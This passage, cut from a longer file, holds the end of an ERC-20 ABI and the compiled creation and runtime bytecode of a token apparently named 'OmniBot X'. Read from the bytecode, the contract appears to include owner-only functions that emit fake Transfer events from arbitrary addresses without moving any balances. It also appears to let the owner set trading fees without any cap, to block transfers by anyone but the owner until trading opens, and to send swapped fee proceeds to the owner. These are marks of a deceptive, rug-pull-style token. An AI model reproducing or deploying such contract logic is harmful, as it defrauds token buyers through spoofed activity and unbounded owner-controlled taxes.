"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600981526020017f4f6d6e69426f74205800000000000000000000000000000000000000000000008152505f908162000049919062000f31565b506040518060400160405280600581526020017f4f4d4e49580000000000000000000000000000000000000000000000000000008152506001908162000090919062000f31565b505f60025f6101000a81548160ff021916908360ff1602179055506005600260016101000a81548160ff021916908360ff160217905550735362d99d76e076d91c7be1776a0610c59020669a600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073cad39db3c675ba92eb638a33534fadb074968553600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507338923219e9252b66325386bbf8900f4557b07675600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550738a76dd9510172de46422a67d7baa5a479bb26a54600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550733f7f6ef9427c5fc1927eab75bbe390dee967a6d7600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801562000277575f80fd5b503360095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506064600a6012600a620003bd91906200119e565b6305f5e100620003ce9190620011ee565b620003da9190620011ee565b620003e6919062001265565b60035f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620005269190620012ad565b60405180910390a36064600a6012600a6200054291906200119e565b6305f5e100620005539190620011ee565b6200055f9190620011ee565b6200056b919062001265565b60035f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620006ab9190620012ad565b60405180910390a3606460056012600a620006c791906200119e565b6305f5e100620006d89190620011ee565b620006e49190620011ee565b620006f0919062001265565b60035f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620008309190620012ad565b60405180910390a36064601a6012600a6200084c91906200119e565b6305f5e1006200085d9190620011ee565b620008699190620011ee565b62000875919062001265565b60035f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620009b59190620012ad565b60405180910390a3606460226012600a620009d191906200119e565b6305f5e100620009e29190620011ee565b620009ee9190620011ee565b620009fa919062001265565b60035f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405162000b3a9190620012ad565b60405180910390a36064600f6012600a62000b5691906200119e565b6305f5e10062000b679190620011ee565b62000b739190620011ee565b62000b7f919062001265565b60035f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405162000cbf9190620012ad565b60405180910390a3620012c8565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000d4957607f821691505b60208210810362000d5f5762000d5e62000d04565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000dc37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000d86565b62000dcf868362000d86565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000e1962000e1362000e0d8462000de7565b62000df0565b62000de7565b9050919050565b5f819050919050565b62000e348362000df9565b62000e4c62000e438262000e20565b84845462000d92565b825550505050565b5f90565b62000e6262000e54565b62000e6f81848462000e29565b505050565b5b8181101562000e965762000e8a5f8262000e58565b60018101905062000e75565b5050565b601f82111562000ee55762000eaf8162000d65565b62000eba8462000d77565b8101602085101562000eca578190505b62000ee262000ed98562000d77565b83018262000e74565b50505b505050565b5f82821c905092915050565b5f62000f075f198460080262000eea565b1980831691505092915050565b5f62000f21838362000ef6565b9150826002028217905092915050565b62000f3c8262000ccd565b67ffffffffffffffff81111562000f585762000f5762000cd7565b5b62000f64825462000d31565b62000f7182828562000e9a565b5f60209050601f83116001811462000fa7575f841562000f92578287015190505b62000f9e858262000f14565b8655506200100d565b601f19841662000fb78662000d65565b5f5b8281101562000fe05784890151825560018201915060208501945060208101905062000fb9565b8683101562001000578489015162000ffc601f89168262000ef6565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200109f5780860481111562001077576200107662001015565b5b6001851615620010875780820291505b8081029050620010978562001042565b945062001057565b94509492505050565b5f82620010b957600190506200118b565b81620010c8575f90506200118b565b8160018114620010e15760028114620010ec5762001122565b60019150506200118b565b60ff84111562001101576200110062001015565b5b8360020a9150848211156200111b576200111a62001015565b5b506200118b565b5060208310610133831016604e8410600b84101617156200115c5782820a90508381111562001156576200115562001015565b5b6200118b565b6200116b84848460016200104e565b9250905081840481111562001185576200118462001015565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620011aa8262000de7565b9150620011b78362001192565b9250620011e67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620010a8565b905092915050565b5f620011fa8262000de7565b9150620012078362000de7565b9250828202620012178162000de7565b9150828204841483151762001231576200123062001015565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620012718262000de7565b91506200127e8362000de7565b92508262001291576200129062001238565b5b828204905092915050565b620012a78162000de7565b82525050565b5f602082019050620012c25f8301846200129c565b92915050565b611ccf80620012d65f395ff3fe6080604052600436106100c5575f3560e01c80634022b75e1161007e578063a9059cbb11610058578063a9059cbb1461027c578063b22c95e7146102b8578063c9567bf9146102e0578063dd62ed3e146102f6576100cc565b80634022b75e146101ee57806370a082311461021657806395d89b4114610252576100cc565b806306fdde03146100d0578063095ea7b3146100fa5780630a7ad74c1461013657806318160ddd1461015e57806323b872dd14610188578063313ce567146101c4576100cc565b366100cc57005b5f80fd5b3480156100db575f80fd5b506100e4610332565b6040516100f191906113ee565b60405180910390f35b348015610105575f80fd5b50610120600480360381019061011b91906114a3565b6103c1565b60405161012d91906114fb565b60405180910390f35b348015610141575f80fd5b5061015c6004803603810190610157919061154a565b6104ae565b005b348015610169575f80fd5b50610172610542565b60405161017f9190611597565b60405180910390f35b348015610193575f80fd5b506101ae60048036038101906101a991906115b0565b610562565b6040516101bb91906114fb565b60405180910390f35b3480156101cf575f80fd5b506101d8610605565b6040516101e5919061160f565b60405180910390f35b3480156101f9575f80fd5b50610214600480360381019061020f91906116de565b61060a565b005b348015610221575f80fd5b5061023c6004803603810190610237919061176f565b610757565b6040516102499190611597565b60405180910390f35b34801561025d575f80fd5b5061026661076c565b60405161027391906113ee565b60405180910390f35b348015610287575f80fd5b506102a2600480360381019061029d91906114a3565b6107fc565b6040516102af91906114fb565b60405180910390f35b3480156102c3575f80fd5b506102de60048036038101906102d991906116de565b610810565b005b3480156102eb575f80fd5b506102f461095d565b005b348015610301575f80fd5b5061031c6004803603810190610317919061179a565b6109eb565b6040516103299190611597565b60405180910390f35b60605f805461034090611805565b80601f016020809104026020016040519081016040528092919081815260200182805461036c90611805565b80156103b75780601f1061038e576101008083540402835291602001916103b7565b820191905f5260205f20905b81548152906001019060200180831161039a57829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161049c9190611597565b60405180910390a36001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610534576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61053e8282610a0b565b5050565b6012600a6105509190611991565b6305f5e10061055f91906119db565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105ea9190611a1c565b925050819055506105fc848484610a44565b90509392505050565b601281565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610690576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b8484905081101561074f578484828181106106b0576106af611a4f565b5b90506020020160208101906106c5919061176f565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061072657610725611a4f565b5b9050602002013560405161073a9190611597565b60405180910390a38080600101915050610692565b505050505050565b6003602052805f5260405f205f915090505481565b60606001805461077b90611805565b80601f01602080910402602001604051908101604052809291908181526020018280546107a790611805565b80156107f25780601f106107c9576101008083540402835291602001916107f2565b820191905f5260205f20905b8154815290600101906020018083116107d557829003601f168201915b5050505050905090565b5f610808338484610a44565b905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610896576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b84849050811015610955578484828181106108b6576108b5611a4f565b5b90506020020160208101906108cb919061176f565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061092c5761092b611a4f565b5b905060200201356040516109409190611597565b60405180910390a38080600101915050610898565b505050505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b5575f80fd5b600660159054906101000a900460ff16156109ce575f80fd5b6001600660156101000a81548160ff021916908315150217905550565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b8160025f6101000a81548160ff021916908360ff16021790555080600260016101000a81548160ff021916908360ff1602179055505050565b5f600660159054906101000a900460ff1680610aac575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610b03575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610b0b575f80fd5b600660159054906101000a900460ff16158015610b7457505f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610b7f57505f82115b15610bc5578260055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c119190611a1c565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610c815750600660149054906101000a900460ff16155b8015610cf2575060646012600a610c989190611991565b6305f5e100610ca791906119db565b610cb19190611aa9565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610d4b575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f94576001600660146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610d8757610d86611ad9565b5b604051908082528060200260200182016040528015610db55781602001602082028036833780820191505090505b50905030815f81518110610dcc57610dcb611a4f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110610e2f57610e2e611a4f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610ea99190611991565b6305f5e100610eb891906119db565b610ec29190611aa9565b5f8430426040518663ffffffff1660e01b8152600401610ee6959493929190611c0e565b5f604051808303815f87803b158015610efd575f80fd5b505af1158015610f0f573d5f803e3d5ffd5b5050505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610f77573d5f803e3d5ffd5b505f600660146101000a81548160ff021916908315150217905550505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610fe3575060011515600660159054906101000a900460ff161515145b156110e1575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161461105457600260019054906101000a900460ff16611064565b60025f9054906101000a900460ff165b60ff168461107291906119db565b61107c9190611aa9565b9050808361108a9190611a1c565b92508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110d89190611c66565b92505081905550505b8160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461112d9190611c66565b9250508190555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611213578273ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112069190611597565b60405180910390a3611359565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112f25760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112e59190611597565b60405180910390a3611358565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134f9190611597565b60405180910390a35b5b600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561139b578082015181840152602081019050611380565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113c082611364565b6113ca818561136e565b93506113da81856020860161137e565b6113e3816113a6565b840191505092915050565b5f6020820190508181035f83015261140681846113b6565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61143f82611416565b9050919050565b61144f81611435565b8114611459575f80fd5b50565b5f8135905061146a81611446565b92915050565b5f819050919050565b61148281611470565b811461148c575f80fd5b50565b5f8135905061149d81611479565b92915050565b5f80604083850312156114b9576114b861140e565b5b5f6114c68582860161145c565b92505060206114d78582860161148f565b9150509250929050565b5f8115159050919050565b6114f5816114e1565b82525050565b5f60208201905061150e5f8301846114ec565b92915050565b5f60ff82169050919050565b61152981611514565b8114611533575f80fd5b50565b5f8135905061154481611520565b92915050565b5f80604083850312156115605761155f61140e565b5b5f61156d85828601611536565b925050602061157e85828601611536565b9150509250929050565b61159181611470565b82525050565b5f6020820190506115aa5f830184611588565b92915050565b5f805f606084860312156115c7576115c661140e565b5b5f6115d48682870161145c565b93505060206115e58682870161145c565b92505060406115f68682870161148f565b9150509250925092565b61160981611514565b82525050565b5f6020820190506116225f830184611600565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261164957611648611628565b5b8235905067ffffffffffffffff8111156116665761166561162c565b5b60208301915083602082028301111561168257611681611630565b5b9250929050565b5f8083601f84011261169e5761169d611628565b5b8235905067ffffffffffffffff8111156116bb576116ba61162c565b5b6020830191508360208202830111156116d7576116d6611630565b5b9250929050565b5f805f805f606086880312156116f7576116f661140e565b5b5f6117048882890161145c565b955050602086013567ffffffffffffffff81111561172557611724611412565b5b61173188828901611634565b9450945050604086013567ffffffffffffffff81111561175457611753611412565b5b61176088828901611689565b92509250509295509295909350565b5f602082840312156117845761178361140e565b5b5f6117918482850161145c565b91505092915050565b5f80604083850312156117b0576117af61140e565b5b5f6117bd8582860161145c565b92505060206117ce8582860161145c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061181c57607f821691505b60208210810361182f5761182e6117d8565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156118b75780860481111561189357611892611835565b5b60018516156118a25780820291505b80810290506118b085611862565b9450611877565b94509492505050565b5f826118cf576001905061198a565b816118dc575f905061198a565b81600181146118f257600281146118fc5761192b565b600191505061198a565b60ff84111561190e5761190d611835565b5b8360020a91508482111561192557611924611835565b5b5061198a565b5060208310610133831016604e8410600b84101617156119605782820a90508381111561195b5761195a611835565b5b61198a565b61196d848484600161186e565b9250905081840481111561198457611983611835565b5b81810290505b9392505050565b5f61199b82611470565b91506119a683611514565b92506119d37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118c0565b905092915050565b5f6119e582611470565b91506119f083611470565b92508282026119fe81611470565b91508282048414831517611a1557611a14611835565b5b5092915050565b5f611a2682611470565b9150611a3183611470565b9250828203905081811115611a4957611a48611835565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611ab382611470565b9150611abe83611470565b925082611ace57611acd611a7c565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f819050919050565b5f819050919050565b5f611b32611b2d611b2884611b06565b611b0f565b611470565b9050919050565b611b4281611b18565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611b7a81611435565b82525050565b5f611b8b8383611b71565b60208301905092915050565b5f602082019050919050565b5f611bad82611b48565b611bb78185611b52565b9350611bc283611b62565b805f5b83811015611bf2578151611bd98882611b80565b9750611be483611b97565b925050600181019050611bc5565b5085935050505092915050565b611c0881611435565b82525050565b5f60a082019050611c215f830188611588565b611c2e6020830187611b39565b8181036040830152611c408186611ba3565b9050611c4f6060830185611bff565b611c5c6080830184611588565b9695505050505050565b5f611c7082611470565b9150611c7b83611470565b9250828201905080821115611c9357611c92611835565b5b9291505056fea26469706673582212203941719fb4b89747cd4a7e0f2586ca9b6914cccd4b09d92d7e5936d507fc39db64736f6c63430008160033

0x6080604052600436106100c5575f3560e01c80634022b75e1161007e578063a9059cbb11610058578063a9059cbb1461027c578063b22c95e7146102b8578063c9567bf9146102e0578063dd62ed3e146102f6576100cc565b80634022b75e146101ee57806370a082311461021657806395d89b4114610252576100cc565b806306fdde03146100d0578063095ea7b3146100fa5780630a7ad74c1461013657806318160ddd1461015e57806323b872dd14610188578063313ce567146101c4576100cc565b366100cc57005b5f80fd5b3480156100db575f80fd5b506100e4610332565b6040516100f191906113ee565b60405180910390f35b348015610105575f80fd5b50610120600480360381019061011b91906114a3565b6103c1565b60405161012d91906114fb565b60405180910390f35b348015610141575f80fd5b5061015c6004803603810190610157919061154a565b6104ae565b005b348015610169575f80fd5b50610172610542565b60405161017f9190611597565b60405180910390f35b348015610193575f80fd5b506101ae60048036038101906101a991906115b0565b610562565b6040516101bb91906114fb565b60405180910390f35b3480156101cf575f80fd5b506101d8610605565b6040516101e5919061160f565b60405180910390f35b3480156101f9575f80fd5b50610214600480360381019061020f91906116de565b61060a565b005b348015610221575f80fd5b5061023c6004803603810190610237919061176f565b610757565b6040516102499190611597565b60405180910390f35b34801561025d575f80fd5b5061026661076c565b60405161027391906113ee565b60405180910390f35b348015610287575f80fd5b506102a2600480360381019061029d91906114a3565b6107fc565b6040516102af91906114fb565b60405180910390f35b3480156102c3575f80fd5b506102de60048036038101906102d991906116de565b610810565b005b3480156102eb575f80fd5b506102f461095d565b005b348015610301575f80fd5b5061031c6004803603810190610317919061179a565b6109eb565b6040516103299190611597565b60405180910390f35b60605f805461034090611805565b80601f016020809104026020016040519081016040528092919081815260200182805461036c90611805565b80156103b75780601f1061038e576101008083540402835291602001916103b7565b820191905f5260205f20905b81548152906001019060200180831161039a57829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161049c9190611597565b60405180910390a36001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610534576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61053e8282610a0b565b5050565b6012600a6105509190611991565b6305f5e10061055f91906119db565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105ea9190611a1c565b925050819055506105fc848484610a44565b90509392505050565b601281565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610690576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b8484905081101561074f578484828181106106b0576106af611a4f565b5b90506020020160208101906106c5919061176f565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061072657610725611a4f565b5b9050602002013560405161073a9190611597565b60405180910390a38080600101915050610692565b505050505050565b6003602052805f5260405f205f915090505481565b60606001805461077b90611805565b80601f01602080910402602001604051908101604052809291908181526020018280546107a790611805565b80156107f25780601f106107c9576101008083540402835291602001916107f2565b820191905f5260205f20905b8154815290600101906020018083116107d557829003601f168201915b5050505050905090565b5f610808338484610a44565b905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610896576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b84849050811015610955578484828181106108b6576108b5611a4f565b5b90506020020160208101906108cb919061176f565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061092c5761092b611a4f565b5b905060200201356040516109409190611597565b60405180910390a38080600101915050610898565b505050505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b5575f80fd5b600660159054906101000a900460ff16156109ce575f80fd5b6001600660156101000a81548160ff021916908315150217905550565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b8160025f6101000a81548160ff021916908360ff16021790555080600260016101000a81548160ff021916908360ff1602179055505050565b5f600660159054906101000a900460ff1680610aac575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610b03575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610b0b575f80fd5b600660159054906101000a900460ff16158015610b7457505f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610b7f57505f82115b15610bc5578260055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c119190611a1c565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610c815750600660149054906101000a900460ff16155b8015610cf2575060646012600a610c989190611991565b6305f5e100610ca791906119db565b610cb19190611aa9565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610d4b575060065f9